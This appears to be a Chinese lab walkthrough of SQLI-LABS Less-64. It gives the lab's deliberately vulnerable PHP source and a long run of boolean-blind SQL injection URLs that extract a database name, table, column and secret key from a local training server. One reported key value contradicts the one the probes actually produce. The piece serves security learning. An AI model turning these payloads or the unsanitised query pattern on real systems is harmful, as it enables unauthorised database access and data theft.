目录

一、代码审计

1、源码分析

2、SQL注入风险分析

(1)联合SQL注入方法(不可行)

(2)报错SQL注入方法(不可行)

(3)总结

二、渗透实战

1、渗透准备

2、爆数据库名

3、爆表名

4、爆列名

5、爆数据

6、输入密钥


SQLI-LABS 是一个专门为学习和练习 SQL 注入技术而设计的开源靶场环境,本小节对第64关Less 64基于GET型的字符SQL盲注关卡进行渗透实战,该关卡限制渗透尝试的次数为130次。相对于63关卡区别是闭合方式由单引号变为双括号。

一、代码审计

1、源码分析

第64关卡是一个 SQL 盲注挑战页面,相对于63关卡区别是闭合方式由单引号变为双括号,对比如下所示。

第64关卡index.php经过注释的源码如下所示。

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Less-64:Challenge-11</title>
</head><body bgcolor="#000000">
<!-- 右上角的重置挑战表单 -->
<div style="text-align:right"><form action="" method="post"><input type="submit" name="reset" value="Reset the Challenge!" /></form>
</div><!-- 页面主内容区域:欢迎信息与挑战说明 -->
<div style="margin-top:20px;color:#FFF;font-size:23px;text-align:center">Welcome&nbsp;&nbsp;&nbsp;<font color="#FF0000">Dhakkan</font><br><font size="3" color="#FFFF00"><?php// 引入数据库连接文件和工具函数(包含数据库账号密码等敏感信息)include '../sql-connections/sql-connect-1.php';include '../sql-connections/functions.php';// 关闭PHP错误报告,避免泄露服务器路径等敏感信息error_reporting(0);// 获取当前页面URL路径,用于重定向时携带参数$pag = $_SERVER['PHP_SELF'];// 定义随机字符集(用于生成随机表名、列名等)$characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';// 允许的最大尝试次数(用户需在130次内获取密钥)$times = 130;// 生成随机表名和列名(来自functions.php的自定义函数)$table = table_name();       // 随机表名(属于challenges数据库)$col = column_name(1);       // 第一列名(如"session_id")$col1 = column_name(2);      // 第二列名(如"secret_key")// 逻辑分支:处理非答案提交的请求(即用户未提交secret key)if (!isset($_POST['answer_key'])) {// 子逻辑:处理重置挑战请求if (isset($_POST['reset'])) {// 删除挑战相关Cookie(用于跟踪用户会话)setcookie('challenge', ' ', time() - 3600000);echo "<font size=4>You have reset the Challenge</font><br>\n";echo "Redirecting you to main challenge page..........\n";// 4秒后重定向到数据库初始化页面,重新生成随机表和数据header("refresh:4;url=../sql-connections/setup-db-challenge.php?id=$pag");exit; // 终止脚本执行,确保重定向生效} else {// 子逻辑:处理Cookie验证与会话管理if (isset($_COOKIE['challenge'])) {// 从Cookie中获取会话ID$sessid = $_COOKIE['challenge'];} else {// 生成新的会话ID并设置Cookie(有效期30天)$expire = time() + 60 * 60 * 24 * 30;$hash = data($table, $col); // 生成随机哈希值(可能为随机字符串)setcookie("challenge", $hash, $expire);}echo "<br>\n";// 子逻辑:处理用户提交的ID参数(核心风险点)if (isset($_GET['id'])) {$id = $_GET['id']; // 直接获取用户输入的id参数,未做任何过滤// 记录用户输入的id到日志文件(用于安全分析)$fp = fopen('result.txt', 'a');fwrite($fp, 'ID:' . $id . "\n");fclose($fp);// 更新尝试次数计数器(数据库中记录用户尝试次数)next_tryy();// 获取并显示已尝试次数$tryyy = view_attempts();echo "You have made : " . $tryyy . " of $times attempts";echo "<br><br><br>\n";// 尝试次数超限处理:重置挑战if ($tryyy >= ($times + 1)) {setcookie('challenge', ' ', time() - 3600000);echo "<font size=4>You have exceeded maximum allowed attempts, Hence Challenge Has Been Reset </font><br>\n";header("refresh:3;url=../sql-connections/setup-db-challenge.php?id=$pag");echo "<br>\n";}// 核心SQL查询(存在SQL注入风险)// 构造SQL语句时,将用户输入的$id包裹在双重括号中:id=(($id))// 但未对$id进行转义或类型校验,仍存在注入风险$sql = "SELECT * FROM security.users WHERE id=(($id)) LIMIT 0,1";$result = mysqli_query($con1, $sql);$row = mysqli_fetch_array($result, MYSQLI_BOTH);// 处理查询结果:若存在记录,显示预设的用户名和密码(非真实数据库数据)if ($row) {$unames = array("Dumb", "Angelina", "Dummy", "secure", "stupid", "superman", "batman", "admin", "admin1", "admin2", "admin3", "dhakkan", "admin4");$pass = array_reverse($unames); // 密码为用户名数组的逆序echo '<font color= "#00FFFF">';echo 'Your Login name : ' . $unames[$row['id']]; // 使用查询结果中的id作为数组索引echo "<br>Your Password : " . $pass[$row['id']];echo "</font>";} else {// 查询失败时不显示错误信息,避免泄露数据库结构echo '<font color= "#FFFF00">';// print_r(mysqli_error($con1)); // 注释掉的错误信息输出echo "</font>";}} else {// 用户未提交id参数时的提示信息echo "Please input the ID as parameter with numeric value as done in  Lab excercises\n<br><br>\n</font>";echo "<font color='#00FFFF' size=3>";echo "The objective of this challenge is to dump the <b>(secret key)</b> from only random table from Database <b><i>('CHALLENGES')</i></b> in Less than $times attempts<br>";echo "For fun, with every reset, the challenge spawns random table name, column name, table data. Keeping it fresh at all times.<br>";}}} else {// 逻辑分支:处理用户提交的secret keyecho '<div style="color:#00FFFF;font-size:18px;text-align:center">';$key = addslashes($_POST['key']); // 对密钥进行转义(初步过滤)$key = mysqli_real_escape_string($con1, $key); // 数据库层转义,防止SQL注入// 查询随机表验证密钥是否正确$sql = "SELECT 1 FROM $table WHERE $col1= '$key'";$result = mysqli_query($con1, $sql) or die("error in submittion of Key Solution" . mysqli_error($con1));$row = mysqli_fetch_array($result, MYSQLI_BOTH);// 根据验证结果返回不同响应if ($row) {// 密钥正确:显示成功图片并重定向echo '<font color= "#FFFF00">';echo "\n<br><br><br>";echo '<img src="../images/Less-54-1.jpg" />'; // 成功图片路径header("refresh:4;url=../sql-connections/setup-db-challenge.php?id=$pag"); // 重定向到初始化页面} else {// 密钥错误:显示失败图片并重定向echo '<font color= "#FFFF00">';echo "\n<br><br><br>";echo '<img src="../images/slap1.jpg" />'; // 失败图片路径header("refresh:3;url=index.php"); // 重定向到首页}echo "</font>";}?></font> </div></br></br></br><center><!-- 装饰性图片 --><img src="../images/Less-64.jpg" />
</center>
<br><br><br><!-- 提交密钥的表单 -->
<div style="color:#00FFFF;font-size:18px;text-align:center"><form name="input" action="" method="post">Submit Secret Key: <input type="text" name="key"><input type="submit" name="answer_key" value="Submit"></form> 
</div></body>
</html>

本关卡核心功能包括:通过 GET 参数 “id” 查询 “security.users” 表并显示用户信息,利用 COOKIE 存储挑战状态,提供重置功能以生成随机表名、列名和数据(存储于 “CHALLENGES” 数据库),用户需在130次尝试内通过注入获取随机表中的 “secret key” 并提交验证。代码存在字符串型 SQL 注入风险(“id” 参数未过滤),因为没有打印数据库的信息导致无法通过报错法注入,具体处理逻辑如下所示。 

  • 用户认证模拟:通过id参数查询security.users表,返回预设的用户名和密码数组(非数据库真实数据),用于演示注入场景。
  • 挑战机制:用户需在 130 次尝试内,通过 SQL 注入获取CHALLENGES数据库中随机表的secret key并提交验证。
  • 重置功能:支持通过 POST 请求重置挑战,生成新的随机表名、列名和数据,并清除 Cookie。

2、SQL注入风险分析

(1)联合SQL注入方法(不可行)

联合注入法(Union-based SQL Injection)是 SQL 注入攻击中一种高效的技术,攻击者通过构造恶意输入,将额外的查询语句与原查询结合,从而获取数据库中的敏感信息。但是联合注入依赖于页面回显来获取数据。如果页面不输出数据库查询结果的内容,则无法直接通过 UNION 查询获取结果。如下所示,这是从58关开始页面在查询成功后的输出,很明显从预设数组中返回用户名和密码(非数据库真实数据),既然页面无法返回数据库真实数据,那么就无法使用联合注入法渗透。

if ($row) {// 查询成功时,从预设数组中返回用户名和密码(非数据库真实数据)$unames = array("Dumb", "Angelina", "Dummy", "secure", "stupid", "superman", "batman",   "admin", "admin1", "admin2", "admin3", "dhakkan", "admin4");$pass = array_reverse($unames); // 密码数组为用户名数组的逆序echo '<font color= "#00FFFF">';echo '你的登录名:' . $unames[$row['id']]; // 使用查询结果中的id作为数组索引echo "<br>你的密码:" . $pass[$row['id']];echo "</font>";
} 

(2)报错SQL注入方法(不可行)

报错注入是一种利用数据库错误信息获取敏感数据的渗透方法,其成功实施需要在数据库执行错误的 SQL 语句时,错误信息会被返回给客户端(如浏览器),且未被应用程序捕获或屏蔽。如下所示本关卡中没有打印数据库报错信息,故而无法使用报错法进行渗透。

if ($row) {......
} else {// **关键差异**:查询失败时打印数据库错误信息echo '<font color= "#FFFF00">';//print_r(mysqli_error($con1)); // 输出MySQL错误信息,如语法错误、表不存在等echo "</font>";  
}

(3)总结

本关卡具有SQL注入风险,参数id通过GET传入,仅使用双括号包裹,并未做任何过滤,由于限制130次,故只能使用盲注法尝试注入。

$id=$_GET['id'];
$sql="SELECT * FROM security.users WHERE id=(($id)) LIMIT 0,1";

二、渗透实战

1、渗透准备

进入sqli-labs靶场首页,其中包含基础注入关卡、进阶挑战关卡、特殊技术关卡三部分有效关卡,如下所示。

http://192.168.59.1/sqli-labs/

点击进入Page4挑战(Challenges)页面,如下图红框所示。 

其中第64关在挑战关卡“SQLi-LABS Page-4(Challenges)”中, 点击进入如下页面。 

http://192.168.59.1/sqli-labs/index-3.html#fm_imagemap

点击上图红框的Less64关卡,进入到靶场的第64关SQL注入关卡(限制130次),页面提示“ Please input the ID as parameter with numeric value as done in Lab excercises ”,以及“The objective of this challenge is to dump the (secret key) from only random table from Database ('CHALLENGES') in Less than 130 attempts,For fun, with every reset, the challenge spawns random table name, column name, table data. Keeping it fresh at all times.”具体如下所示。 

http://192.168.59.1/sqli-labs/Less-64/

根据之前的渗透经验,表名、列名和元素内容如下所示。

  • 数据库名:固定,数据库名都是challenges。
  • 表名:数据库有一个表table(固定的),表名长度是10,表名是随机10个字符。
  • 列名:table共有4列(固定),其中第1列、第2列和第4列是固定的(分别为id,sessid,tryy),仅有第3列名是变化的,第3列的列名长度固定为11,前7个字符固定为SECRET_,后4个字符随机。
  • 字段:表中第3列元素长度固定为24,对应的元素为随机24个字符。

综上所述:表名10个字符是随机的,列名后4个字符是随机的,数据元素24个字符是随机的,一共有38个字符是随机的,这个关卡仅有130次尝试机会,还是非常难在130次成功渗透的。

2、爆数据库名

如下所示,用户名显示信息为challenges,说明数据库名为“challenges”。

[+] 第一步:探测数据库名
http://192.168.59.1/sqli-labs/Less-64/?id=11)) AND LENGTH(DATABASE()) = 10--+ True
数据库名长度:10
http://192.168.59.1/sqli-labs/Less-64/?id=11)) AND SUBSTRING(DATABASE(), 1, 1) = CHAR(67)--+ True
http://192.168.59.1/sqli-labs/Less-64/?id=11)) AND SUBSTRING(DATABASE(), 2, 1) = CHAR(72)--+ True
http://192.168.59.1/sqli-labs/Less-64/?id=11)) AND SUBSTRING(DATABASE(), 3, 1) = CHAR(65)--+ True
http://192.168.59.1/sqli-labs/Less-64/?id=11)) AND SUBSTRING(DATABASE(), 4, 1) = CHAR(76)--+ True
http://192.168.59.1/sqli-labs/Less-64/?id=11)) AND SUBSTRING(DATABASE(), 5, 1) = CHAR(76)--+ True
http://192.168.59.1/sqli-labs/Less-64/?id=11)) AND SUBSTRING(DATABASE(), 6, 1) = CHAR(69)--+ True
http://192.168.59.1/sqli-labs/Less-64/?id=11)) AND SUBSTRING(DATABASE(), 7, 1) = CHAR(78)--+ True
http://192.168.59.1/sqli-labs/Less-64/?id=11)) AND SUBSTRING(DATABASE(), 8, 1) = CHAR(71)--+ True
http://192.168.59.1/sqli-labs/Less-64/?id=11)) AND SUBSTRING(DATABASE(), 9, 1) = CHAR(69)--+ True
http://192.168.59.1/sqli-labs/Less-64/?id=11)) AND SUBSTRING(DATABASE(), 10, 1) = CHAR(115)--+ True
数据库名:CHALLENGEs

3、爆表名

如下所示,数据库challenges包含表格“ENDr9C1pEp”。

[+] 第二步:探测表信息
http://192.168.59.1/sqli-labs/Less-64/?id=11)) AND (SELECT COUNT(TABLE_NAME) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='CHALLENGEs') = 1--+ True
表数量:1
http://192.168.59.1/sqli-labs/Less-64/?id=11)) AND LENGTH((SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='CHALLENGEs' LIMIT 0,1)) = 10--+ True
http://192.168.59.1/sqli-labs/Less-64/?id=11)) AND SUBSTRING((SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='CHALLENGEs' LIMIT 0,1), 1, 1) = CHAR(69)--+ True
http://192.168.59.1/sqli-labs/Less-64/?id=11)) AND SUBSTRING((SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='CHALLENGEs' LIMIT 0,1), 2, 1) = CHAR(78)--+ True
http://192.168.59.1/sqli-labs/Less-64/?id=11)) AND SUBSTRING((SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='CHALLENGEs' LIMIT 0,1), 3, 1) = CHAR(68)--+ True
http://192.168.59.1/sqli-labs/Less-64/?id=11)) AND SUBSTRING((SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='CHALLENGEs' LIMIT 0,1), 4, 1) = CHAR(114)--+ True
http://192.168.59.1/sqli-labs/Less-64/?id=11)) AND SUBSTRING((SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='CHALLENGEs' LIMIT 0,1), 5, 1) = CHAR(57)--+ True
http://192.168.59.1/sqli-labs/Less-64/?id=11)) AND SUBSTRING((SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='CHALLENGEs' LIMIT 0,1), 6, 1) = CHAR(67)--+ True
http://192.168.59.1/sqli-labs/Less-64/?id=11)) AND SUBSTRING((SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='CHALLENGEs' LIMIT 0,1), 7, 1) = CHAR(49)--+ True
http://192.168.59.1/sqli-labs/Less-64/?id=11)) AND SUBSTRING((SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='CHALLENGEs' LIMIT 0,1), 8, 1) = CHAR(112)--+ True
http://192.168.59.1/sqli-labs/Less-64/?id=11)) AND SUBSTRING((SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='CHALLENGEs' LIMIT 0,1), 9, 1) = CHAR(69)--+ True
http://192.168.59.1/sqli-labs/Less-64/?id=11)) AND SUBSTRING((SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='CHALLENGEs' LIMIT 0,1), 10, 1) = CHAR(112)--+ True
表 1:ENDr9C1pEp

4、爆列名

如下所示,ENDr9C1pEp表的列名包括id,sessid,SECRET_K0DV,tryy共4项目内容。

[+] 第三步:探测表 ENDr9C1pEp 的列
http://192.168.59.1/sqli-labs/Less-64/?id=11)) AND (SELECT COUNT(COLUMN_NAME) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA='CHALLENGEs' AND TABLE_NAME='ENDr9C1pEp') = 4--+ True
列数量:4
[*] 正在探测表 ENDr9C1pEp 的第 3 列名...
http://192.168.59.1/sqli-labs/Less-64/?id=11)) AND LENGTH((SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA='CHALLENGEs' AND TABLE_NAME='ENDr9C1pEp' LIMIT 2,1)) = 11--+ True
[+] 列名长度: 11
http://192.168.59.1/sqli-labs/Less-64/?id=11)) AND SUBSTRING((SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA='CHALLENGEs' AND TABLE_NAME='ENDr9C1pEp' LIMIT 2,1), 1, 1) = CHAR(83)--+ True
http://192.168.59.1/sqli-labs/Less-64/?id=11)) AND SUBSTRING((SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA='CHALLENGEs' AND TABLE_NAME='ENDr9C1pEp' LIMIT 2,1), 2, 1) = CHAR(69)--+ True
http://192.168.59.1/sqli-labs/Less-64/?id=11)) AND SUBSTRING((SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA='CHALLENGEs' AND TABLE_NAME='ENDr9C1pEp' LIMIT 2,1), 3, 1) = CHAR(67)--+ True
http://192.168.59.1/sqli-labs/Less-64/?id=11)) AND SUBSTRING((SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA='CHALLENGEs' AND TABLE_NAME='ENDr9C1pEp' LIMIT 2,1), 4, 1) = CHAR(82)--+ True
http://192.168.59.1/sqli-labs/Less-64/?id=11)) AND SUBSTRING((SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA='CHALLENGEs' AND TABLE_NAME='ENDr9C1pEp' LIMIT 2,1), 5, 1) = CHAR(69)--+ True
http://192.168.59.1/sqli-labs/Less-64/?id=11)) AND SUBSTRING((SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA='CHALLENGEs' AND TABLE_NAME='ENDr9C1pEp' LIMIT 2,1), 6, 1) = CHAR(84)--+ True
http://192.168.59.1/sqli-labs/Less-64/?id=11)) AND SUBSTRING((SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA='CHALLENGEs' AND TABLE_NAME='ENDr9C1pEp' LIMIT 2,1), 7, 1) = CHAR(95)--+ True
http://192.168.59.1/sqli-labs/Less-64/?id=11)) AND SUBSTRING((SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA='CHALLENGEs' AND TABLE_NAME='ENDr9C1pEp' LIMIT 2,1), 8, 1) = CHAR(75)--+ True
http://192.168.59.1/sqli-labs/Less-64/?id=11)) AND SUBSTRING((SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA='CHALLENGEs' AND TABLE_NAME='ENDr9C1pEp' LIMIT 2,1), 9, 1) = CHAR(48)--+ True
http://192.168.59.1/sqli-labs/Less-64/?id=11)) AND SUBSTRING((SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA='CHALLENGEs' AND TABLE_NAME='ENDr9C1pEp' LIMIT 2,1), 10, 1) = CHAR(68)--+ True
http://192.168.59.1/sqli-labs/Less-64/?id=11)) AND SUBSTRING((SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA='CHALLENGEs' AND TABLE_NAME='ENDr9C1pEp' LIMIT 2,1), 11, 1) = CHAR(86)--+ True
[+] 列名: SECRET_K0DV

5、爆数据

如下所示,SQL注入获取到SECRET_K0DV对应的值为AJp5VPNYlV6KQuRgOYx6D8PW。

[+] 第四步:探测列 SECRET_K0DV 的数据[*] 开始提取 ENDr9C1pEp.SECRET_K0DV 的第一行数据
http://192.168.59.1/sqli-labs/Less-64/?id=11)) AND LENGTH((SELECT SECRET_K0DV FROM ENDr9C1pEp LIMIT 0,1)) = 24--+ True
[+] 数据长度: 24 字符
[*] 正在提取数据...
http://192.168.59.1/sqli-labs/Less-64/?id=11)) AND SUBSTRING((SELECT SECRET_K0DV FROM ENDr9C1pEp LIMIT 0,1), 1, 1) = CHAR(72)--+ True
http://192.168.59.1/sqli-labs/Less-64/?id=11)) AND SUBSTRING((SELECT SECRET_K0DV FROM ENDr9C1pEp LIMIT 0,1), 2, 1) = CHAR(121)--+ True
http://192.168.59.1/sqli-labs/Less-64/?id=11)) AND SUBSTRING((SELECT SECRET_K0DV FROM ENDr9C1pEp LIMIT 0,1), 3, 1) = CHAR(120)--+ True
http://192.168.59.1/sqli-labs/Less-64/?id=11)) AND SUBSTRING((SELECT SECRET_K0DV FROM ENDr9C1pEp LIMIT 0,1), 4, 1) = CHAR(121)--+ True
http://192.168.59.1/sqli-labs/Less-64/?id=11)) AND SUBSTRING((SELECT SECRET_K0DV FROM ENDr9C1pEp LIMIT 0,1), 5, 1) = CHAR(122)--+ True
http://192.168.59.1/sqli-labs/Less-64/?id=11)) AND SUBSTRING((SELECT SECRET_K0DV FROM ENDr9C1pEp LIMIT 0,1), 6, 1) = CHAR(112)--+ True
http://192.168.59.1/sqli-labs/Less-64/?id=11)) AND SUBSTRING((SELECT SECRET_K0DV FROM ENDr9C1pEp LIMIT 0,1), 7, 1) = CHAR(68)--+ True
http://192.168.59.1/sqli-labs/Less-64/?id=11)) AND SUBSTRING((SELECT SECRET_K0DV FROM ENDr9C1pEp LIMIT 0,1), 8, 1) = CHAR(118)--+ True
http://192.168.59.1/sqli-labs/Less-64/?id=11)) AND SUBSTRING((SELECT SECRET_K0DV FROM ENDr9C1pEp LIMIT 0,1), 9, 1) = CHAR(71)--+ True
http://192.168.59.1/sqli-labs/Less-64/?id=11)) AND SUBSTRING((SELECT SECRET_K0DV FROM ENDr9C1pEp LIMIT 0,1), 10, 1) = CHAR(78)--+ True
http://192.168.59.1/sqli-labs/Less-64/?id=11)) AND SUBSTRING((SELECT SECRET_K0DV FROM ENDr9C1pEp LIMIT 0,1), 11, 1) = CHAR(119)--+ True
http://192.168.59.1/sqli-labs/Less-64/?id=11)) AND SUBSTRING((SELECT SECRET_K0DV FROM ENDr9C1pEp LIMIT 0,1), 12, 1) = CHAR(68)--+ True
http://192.168.59.1/sqli-labs/Less-64/?id=11)) AND SUBSTRING((SELECT SECRET_K0DV FROM ENDr9C1pEp LIMIT 0,1), 13, 1) = CHAR(121)--+ True
http://192.168.59.1/sqli-labs/Less-64/?id=11)) AND SUBSTRING((SELECT SECRET_K0DV FROM ENDr9C1pEp LIMIT 0,1), 14, 1) = CHAR(55)--+ True
http://192.168.59.1/sqli-labs/Less-64/?id=11)) AND SUBSTRING((SELECT SECRET_K0DV FROM ENDr9C1pEp LIMIT 0,1), 15, 1) = CHAR(67)--+ True
http://192.168.59.1/sqli-labs/Less-64/?id=11)) AND SUBSTRING((SELECT SECRET_K0DV FROM ENDr9C1pEp LIMIT 0,1), 16, 1) = CHAR(53)--+ True
http://192.168.59.1/sqli-labs/Less-64/?id=11)) AND SUBSTRING((SELECT SECRET_K0DV FROM ENDr9C1pEp LIMIT 0,1), 17, 1) = CHAR(65)--+ True
http://192.168.59.1/sqli-labs/Less-64/?id=11)) AND SUBSTRING((SELECT SECRET_K0DV FROM ENDr9C1pEp LIMIT 0,1), 18, 1) = CHAR(72)--+ True
http://192.168.59.1/sqli-labs/Less-64/?id=11)) AND SUBSTRING((SELECT SECRET_K0DV FROM ENDr9C1pEp LIMIT 0,1), 19, 1) = CHAR(113)--+ True
http://192.168.59.1/sqli-labs/Less-64/?id=11)) AND SUBSTRING((SELECT SECRET_K0DV FROM ENDr9C1pEp LIMIT 0,1), 20, 1) = CHAR(79)--+ True
http://192.168.59.1/sqli-labs/Less-64/?id=11)) AND SUBSTRING((SELECT SECRET_K0DV FROM ENDr9C1pEp LIMIT 0,1), 21, 1) = CHAR(77)--+ True
http://192.168.59.1/sqli-labs/Less-64/?id=11)) AND SUBSTRING((SELECT SECRET_K0DV FROM ENDr9C1pEp LIMIT 0,1), 22, 1) = CHAR(115)--+ True
http://192.168.59.1/sqli-labs/Less-64/?id=11)) AND SUBSTRING((SELECT SECRET_K0DV FROM ENDr9C1pEp LIMIT 0,1), 23, 1) = CHAR(67)--+ True
http://192.168.59.1/sqli-labs/Less-64/?id=11)) AND SUBSTRING((SELECT SECRET_K0DV FROM ENDr9C1pEp LIMIT 0,1), 24, 1) = CHAR(74)--+ True
数据值:HyxyzpDvGNwDy7C5AHqOMsCJ

6、输入密钥

将 HyxyzpDvGNwDy7C5AHqOMsCJ输入到secret key对应的框内,渗透成功。

burpsuite抓包,找到这个提交密钥的报文,如下所示说明渗透成功。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/pingmian/94561.shtml
繁体地址,请注明出处:http://hk.pswp.cn/pingmian/94561.shtml
英文地址,请注明出处:http://en.pswp.cn/pingmian/94561.shtml

如若内容造成侵权/违法违规/事实不符,请联系英文站点网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

每日一题——力扣498 对角线遍历

力扣498 对角线遍历 问题分析给定一个 m x n 矩阵&#xff0c;我们需要按照对角线顺序遍历所有元素。对角线遍历的特点是&#xff1a; 每条对角线上元素的行索引与列索引之和为常数遍历方向交替变化&#xff1a;奇数对角线&#xff08;从右上到左下&#xff09;&#xff0c;偶数…

【单例模式】

概述一个类不管创建多少次对象&#xff0c;永远只能得到该类型的一个对象的实例。常用到的比如日志模块 &#xff0c;数据库模块饿汉&#xff1a;在类加载时就创建单例对象&#xff0c;因此它是线程安全的&#xff0c;因为对象的创建在程序启动时就已经完成&#xff0c;不存在多…

Unity开发如何实现换装技术

一、3D换装方案SkinnedMeshRenderer组件替换&#xff08;最常用&#xff09;适用场景&#xff1a;角色需要保持骨骼动画&#xff0c;更换服装/武器等实现步骤&#xff1a;1.准备模型&#xff1a;所有服装需使用相同骨骼结构&#xff08;建议在建模软件中绑定到同一套骨骼&#…

RabbitMQ面试精讲 Day 29:版本升级与平滑迁移

【RabbitMQ面试精讲 Day 29】版本升级与平滑迁移 在“RabbitMQ面试精讲”系列的第29天&#xff0c;我们聚焦于一个在中高级系统架构与运维面试中极具分量的话题——RabbitMQ的版本升级与平滑迁移。随着业务发展和RabbitMQ自身功能演进&#xff08;如从经典集群到Quorum队列、从…

Python-机器学习概述

​​一、人工智能三大概念​​ ​​人工智能&#xff08;AI&#xff09;​​ 定义&#xff1a;使用计算机模拟或代替人类智能的研究领域 目标&#xff1a;像人类一样思考&#xff08;理性推理&#xff09;、行动&#xff08;决策执行&#xff09; 别名&#xff1a;仿智 ​​…

GIT压缩提交,将多个已经push的commit提交,合并成一个

1.选中要合并的提交2.选中后右键选着Squash Committs3.重新编辑提交信息4.操作完成后不能pull,要强制pushgit push --force

(多线程)线程安全和线程不安全 产生的原因 synchronized关键字 synchronized可重入特性死锁 如何避免死锁 内存可见性

线程安全问题产生原因 线程安全问题主要发生在多线程环境下&#xff0c;当多个线程同时访问共享资源时&#xff0c; 如果没有采取适当的同步措施&#xff0c;就可能导致数据不一致或程序行为异常1.[根本]操作系统对于线程的调度是随机的.抢占式执行&#xff0c;这是线程安全问题…

defineCustomElement 的局限性及重载需求分析

一、defineCustomElement 的核心局限性 Vue 的 defineCustomElement 虽然实现了 Vue 组件到 Web Components 的转换,但在跨框架/跨语言场景下存在以下关键局限,这也是你的项目需要重载其返回构造器的根本原因: 1. 框架间事件模型不兼容 Vue 事件机制:依赖 $emit 转换的 C…

如何在前端开发中应用AI技术?

一、AI 辅助前端开发流程&#xff08;提效工具&#xff09;智能代码生成与补全使用 AI 编程工具&#xff08;如 GitHub Copilot、Cursor、Amazon CodeWhisperer&#xff09;实时生成代码片段&#xff0c;支持 HTML、CSS、JavaScript、React/Vue 等框架语法。例如&#xff0c;输…

极海发布APM32F425/427系列高性能MCU:助力工业应用升级

聚焦工业4.0及能源管理应用对主控MCU的高性能需求&#xff0c;极海正式发布APM32F425/427系列高性能拓展型MCU&#xff0c;集合运算性能、ADC性能、Flash控制器性能与通信接口四大维度革新&#xff0c;进一步增强了EMC性能&#xff0c;重新定义Cortex-M4F内核在复杂工业场景下的…

JSX深度解析:不是HTML,胜似HTML的语法糖

JSX深度解析&#xff1a;不是HTML&#xff0c;胜似HTML的语法糖 作者&#xff1a;码力无边大家好&#xff01;我是依然在代码世界里乘风破浪的码力无边。欢迎回到我们的《React奇妙之旅》第二站&#xff01; 在上一篇文章中&#xff0c;我们成功地用Vite启动了第一个React应用&…

大模型应用新趋势:从思维链到 HTML 渲染的破局之路

一、大模型交互范式的演进&#xff1a;从 Prompt 工程到思维链革新早期的 Prompt 工程曾面临 “模型特异性” 困境 —— 精心设计的提示词在不同模型上效果迥异。但随着 ** 思维链&#xff08;CoT&#xff09;** 技术的成熟&#xff0c;这一局面正在改变。从 OpenAI o1 的隐式整…

从“找不到”到“秒上手”:金仓文档系统重构记

你是否曾在浩如烟海的产品手册中迷失方向&#xff1f;是否为了一个关键参数翻遍十几页冗余说明&#xff1f;是否对时灵时不灵的搜索功能感到抓狂&#xff1f;甚至因为漫长的加载时间而失去耐心&#xff1f;我们懂你!这些曾困扰金仓用户的文档痛点&#xff0c;从现在起&#xff…

【开源项目分享】可监控电脑CPU、显卡、内存等硬件的温度、功率和使用情况

系列文章目录 【开源项目分享】可监控电脑CPU、显卡、内存等硬件的温度、功率和使用情况 &#xff08;一&#xff09;开源的硬件监控工具 LibreHardwareMonitor &#xff08;二&#xff09;LibreHardwareMonitor 分层架构设计 &#xff08;三&#xff09;LibreHardwareMonitor…

帕累托优化:多目标决策的智慧与艺术

本文由「大千AI助手」原创发布&#xff0c;专注用真话讲AI&#xff0c;回归技术本质。拒绝神话或妖魔化。搜索「大千AI助手」关注我&#xff0c;一起撕掉过度包装&#xff0c;学习真实的AI技术&#xff01; 在相互冲突的目标中寻找最优平衡 ✨ 1. 帕累托优化概述 帕累托优化&a…

#Linux内存管理学以致用# 请你根据linux 内核struct page 结构体的双字对齐的设计思想,设计一个类似的结构体

Linux struct page 的双字对齐设计思想1.双字对齐&#xff08;8字节对齐&#xff09;&#xff1a;确保struct page的大小是sizeof(long)的整数倍&#xff08;通常8字节&#xff09;&#xff0c;便于CPU高效访问。减少内存碎片&#xff0c;提高缓存行&#xff08;Cache Line&…

白酒变局,透视酒企穿越周期之道

